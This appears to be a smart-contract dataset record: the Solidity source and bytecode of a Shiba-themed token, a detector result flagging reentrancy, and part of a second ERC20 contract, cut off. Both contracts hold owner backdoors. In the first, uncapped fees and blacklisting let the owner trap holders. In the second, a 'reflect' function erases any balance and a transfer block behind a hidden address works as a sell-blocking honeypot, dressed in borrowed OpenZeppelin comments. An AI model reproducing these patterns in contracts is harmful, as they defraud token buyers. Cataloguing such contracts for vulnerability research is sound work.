// SPDX-License-Identifier: Unlicensed /** For the first time in history, our DAO will launch various investment campaigns with the same concept meme coin related to Shiba. Our tax dollars will be used to buy back your other programs. Almost all of the "Shiba related" meme coins are associated with us. **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBURN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba Burn"; string private constant _symbol = "SHIBURN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 5; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x55aa6e4c84C6792aA199dDd417Fd7c1733fF3979); address payable private _marketingAddress = payable(0x55aa6e4c84C6792aA199dDd417Fd7c1733fF3979); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9;//1% uint256 public _maxWalletSize = 1500000000 * 10**9;//1.5% uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b457600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611959565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600a81526929b434b13090213ab93760b11b60208201525b60405161023a9190611a1e565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a73565b61069e565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b5068056bc75e2d631000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611a9f565b6106b5565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601554610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae0565b61071e565b34801561036f57600080fd5b506101fc61037e366004611b0d565b610769565b34801561038f57600080fd5b506101fc6107b1565b3480156103a457600080fd5b506102c36103b3366004611ae0565b6107fc565b3480156103c457600080fd5b506101fc61081e565b3480156103d957600080fd5b506101fc6103e8366004611b28565b610892565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae0565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610293565b34801561045a57600080fd5b506101fc610469366004611b0d565b6108c1565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600781526629a424a12aa92760c91b602082015261022d565b3480156104c057600080fd5b506101fc6104cf366004611b28565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b41565b610938565b34801561050057600080fd5b5061026361050f366004611a73565b610976565b34801561052057600080fd5b5061026361052f366004611ae0565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b73565b6109d7565b34801561058557600080fd5b506102c3610594366004611bf7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b28565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611ae0565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c30565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c65565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c91565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611da9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c30565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c30565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c30565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c30565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c30565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c30565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c30565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c30565b60005b82811015610a72578160056000868685818110610a2357610a23611c65565b9050602002016020810190610a389190611ae0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c91565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c30565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c30565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611caa565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611463565b600081848411156112155760405162461bcd60e51b81526004016106299190611a1e565b5060006112228486611cc2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d6611491565b90506112e283826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c65565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611cd9565b816001815181106113c1576113c1611c65565b6001600160a01b0392831660209182029290920101526014546113e79130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611420908590600090869030904290600401611cf6565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611470576114706114f6565b61147b848484611524565b80610a7257610a72600e54600c55600f54600d55565b600080600061149e61161b565b90925090506114ad82826114b4565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165d565b600c541580156115065750600d54155b1561150d57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115368761168b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156890876116e8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611597908661172a565b6001600160a01b0389166000908152600260205260409020556115b981611789565b6115c384836117d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160891815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061163782826114b4565b8210156116545750506006549268056bc75e2d6310000092509050565b90939092509050565b6000818361167e5760405162461bcd60e51b81526004016106299190611a1e565b5060006112228486611d67565b60008060008060008060008060006116a88a600c54600d546117f7565b92509250925060006116b8611491565b905060008060006116cb8e87878761184c565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117378385611caa565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b6000611793611491565b905060006117a1838361189c565b306000908152600260205260409020549091506117be908261172a565b30600090815260026020526040902055505050565b6006546117e090836116e8565b6006556007546117f0908261172a565b6007555050565b6000808080611811606461180b898961189c565b906114b4565b90506000611824606461180b8a8961189c565b9050600061183c826118368b866116e8565b906116e8565b9992985090965090945050505050565b600080808061185b888661189c565b90506000611869888761189c565b90506000611877888861189c565b905060006118898261183686866116e8565b939b939a50919850919650505050505050565b6000826000036118ae575060006106af565b60006118ba8385611d89565b9050826118c78583611d67565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195481611934565b919050565b6000602080838503121561196c57600080fd5b823567ffffffffffffffff8082111561198457600080fd5b818501915085601f83011261199857600080fd5b8135818111156119aa576119aa61191e565b8060051b604051601f19603f830116810181811085821117156119cf576119cf61191e565b6040529182528482019250838101850191888311156119ed57600080fd5b938501935b82851015611a1257611a0385611949565b845293850193928501926119f2565b98975050505050505050565b600060208083528351808285015260005b81811015611a4b57858101830151858201604001528201611a2f565b81811115611a5d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8657600080fd5b8235611a9181611934565b946020939093013593505050565b600080600060608486031215611ab457600080fd5b8335611abf81611934565b92506020840135611acf81611934565b929592945050506040919091013590565b600060208284031215611af257600080fd5b81356112e281611934565b8035801515811461195457600080fd5b600060208284031215611b1f57600080fd5b6112e282611afd565b600060208284031215611b3a57600080fd5b5035919050565b60008060008060808587031215611b5757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8857600080fd5b833567ffffffffffffffff80821115611ba057600080fd5b818601915086601f830112611bb457600080fd5b813581811115611bc357600080fd5b8760208260051b8501011115611bd857600080fd5b602092830195509350611bee9186019050611afd565b90509250925092565b60008060408385031215611c0a57600080fd5b8235611c1581611934565b91506020830135611c2581611934565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca357611ca3611c7b565b5060010190565b60008219821115611cbd57611cbd611c7b565b500190565b600082821015611cd457611cd4611c7b565b500390565b600060208284031215611ceb57600080fd5b81516112e281611934565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d465784516001600160a01b031683529383019391830191600101611d21565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da357611da3611c7b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cbbcb3bcae0083a483e556c07f2c8b71bc9b813d4256ab8ddb10075b0ec08b1e64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,741
0x6f883eb54fe6475f28525343b1077f744197dfb2
/** *Submitted for verification at Etherscan.io on 2021-11-10 */ // SPDX-License-Identifier: GNU GPLv3 pragma solidity >=0.8.5; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ abstract contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal reflector; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Reflects a specific amount of tokens. * param value The amount of lowest token units to be reflected. */ function reflect(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: reflect from the zero address"); _burn (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * 